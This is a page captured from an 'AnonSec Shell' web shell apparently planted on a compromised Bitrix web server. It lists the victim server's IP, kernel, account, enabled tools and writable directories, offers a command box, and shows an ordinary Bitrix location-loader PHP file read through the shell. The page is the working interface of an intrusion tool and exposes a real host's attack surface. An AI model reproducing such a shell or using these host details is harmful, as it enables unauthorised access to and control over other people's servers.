AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.144.31.163
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/tools/sale_location_loader.php
<?
define("STOP_STATISTICS", true);
define('NO_AGENT_CHECK', true);
define("DisableEventsCheck", true);

require_once($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/main/include/prolog_before.php');

use Bitrix\Main;
use Bitrix\Sale\Location\Admin\LocationHelper as Helper;

Main\Loader::includeModule('sale');

$APPLICATION->ShowHeadStrings();
$APPLICATION->ShowCSS();

$properties = $_REQUEST['PROPERTIES'];

$APPLICATION->IncludeComponent("bitrix:sale.location.selector.".Helper::getWidgetAppearance(), "", array(
	"ID" => intval($properties['ID']) ? intval($properties['ID']) : '',
	"CODE" => $properties['CODE'] <> ''? $properties['CODE'] : '',
	"INPUT_NAME" => $properties['INPUT_NAME'],
	"PROVIDE_LINK_BY" => $properties['PROVIDE_LINK_BY'] == 'id' ? 'id' : 'code',

	//"FILTER_BY_SITE" => isset($properties['FILTER_SITE_ID']) ? 'Y' : 'N', //???
	"FILTER_SITE_ID" => $properties['FILTER_SITE_ID'],

	"SHOW_DEFAULT_LOCATIONS" => 'Y',
	"SEARCH_BY_PRIMARY" => $properties['SEARCH_BY_PRIMARY'],

	"JS_CONTROL_GLOBAL_ID" => 'SALE_LOCATION_SELECTOR_RESOURCES',
	"USE_JS_SPAWN" => 'Y'
	//"INITIALIZE_BY_GLOBAL_EVENT" => 'sale-event-never-occur'
	),
	false,
	array('HIDE_ICONS' => 'Y')
);

Anon7 - 2022
AnonSec Team